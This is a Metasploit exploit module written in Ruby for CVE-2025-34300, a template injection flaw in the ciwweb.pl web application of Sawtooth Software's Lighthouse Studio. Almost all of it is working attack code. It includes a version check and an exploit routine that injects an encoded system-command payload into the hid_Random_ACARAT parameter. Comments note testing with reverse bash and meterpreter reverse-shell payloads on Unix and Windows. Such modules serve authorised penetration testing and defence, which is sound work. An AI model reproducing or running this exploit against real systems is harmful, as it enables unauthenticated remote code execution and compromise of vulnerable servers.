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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => "Template Injection Vulnerability in Sawtooth Software's Lighthouse Studio (CVE-2025-34300)",
'Description' => %q{
This module exploits a template injection vulnerability in the
Sawtooth Software Lighthouse Studio's `ciwweb.pl` web application.
The application fails to properly sanitize user input within survey templates,
allowing unauthenticated attackers to inject and execute arbitrary Perl commands
on the target system.
This vulnerability affects Lighthouse Studio versions prior to 9.16.14.
Successful exploitation may result in remote code execution under the privileges
of the web server, potentially exposing sensitive data or disrupting survey operations.
An attacker can execute arbitrary system commands in the context of the user running the web server.
},
'License' => MSF_LICENSE,
'Author' => [
'Maksim Rogov', # Metasploit Module
'Adam Kues' # Vulnerability Discovery
],
'References' => [
['CVE', '2025-34300'],
['URL', 'https://slcyber.io/assetnote-security-research-center/rce-in-the-most-popular-survey-software-youve-never-heard-of/']
],
'Platform' => ['multi'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
# On Ubuntu 18.04.06 LTS curl is not installed by default
'FETCH_COMMAND' => 'WGET'
}
# Tested with cmd/unix/reverse_bash
# Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command',
{
'Platform' => ['windows'],
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
# Environment variables like %TEMP% don't resolve
'FETCH_WRITABLE_DIR' => '\\Windows\\Tasks\\'
},
'Payload' => {
'Prepend' => 'cmd.exe /q /c '
}
# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
],
],
'Payload' => {
'BadChars' => '\\'
},
'DefaultTarget' => 0,
'DisclosureDate' => '2025-07-16',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to vulnerable ciwweb.pl', '/cgi-bin/ciwweb.pl']),
OptString.new('STUDYNAME', [false, 'Value for the hid_studyname GET parameter', '']),
]
)
end
def check
print_status('Extracting version...')
vars = {
'hid_javascript' => '1'
}
vars['hid_studyname'] = datastore['STUDYNAME'] unless datastore['STUDYNAME'].strip.empty?
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'vars_get' => vars
)
return CheckCode::Unknown('No response from target') unless res&.code == 200
if res.body =~ /Lighthouse Studio (\d+_\d+_\d+)/
version_match = Regexp.last_match(1).to_s
version = Rex::Version.new(version_match.gsub('_', '.'))
print_status("Extracted version: #{version}")
return CheckCode::Appears if version < Rex::Version.new('9.16.14')
else
print_error("#{peer} - Unable to extract version number")
end
html = res.get_html_document
if html&.text&.include?('Lighthouse Studio')
return CheckCode::Detected
end
CheckCode::Safe
end
def exploit
print_status('Uploading malicious payload...')
cmd = Rex::Text.uri_encode(payload.encoded)
query = [
'hid_javascript=1',
"hid_Random_ACARAT=[%`#{cmd}`%]",
"hid_Random_ACARAT=#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"
]
query << "hid_studyname=#{datastore['STUDYNAME']}" unless datastore['STUDYNAME'].strip.empty?
query_string = query.join('&')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'query' => query_string
})
if res
html = res.get_html_document
if html&.text&.include?('Cannot find the study name')
fail_with(Failure::BadConfig, 'The STUDYNAME value was not found on the server')
end
end
end
end
|